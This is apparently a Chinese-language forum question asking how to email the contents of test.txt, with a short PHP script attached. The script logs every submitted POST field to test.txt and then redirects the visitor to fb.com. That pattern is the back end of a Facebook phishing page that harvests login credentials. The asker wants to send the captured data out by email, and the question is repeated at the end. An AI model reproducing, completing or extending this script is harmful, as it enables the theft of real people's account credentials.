我如何将 test.txt 的内容发送到电子邮件,任何人都可以。
<?php
header("Location: http://fb.com/ ");
$handle = fopen("test.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
我如何将 test.txt 的内容发送到电子邮件,任何人都可以。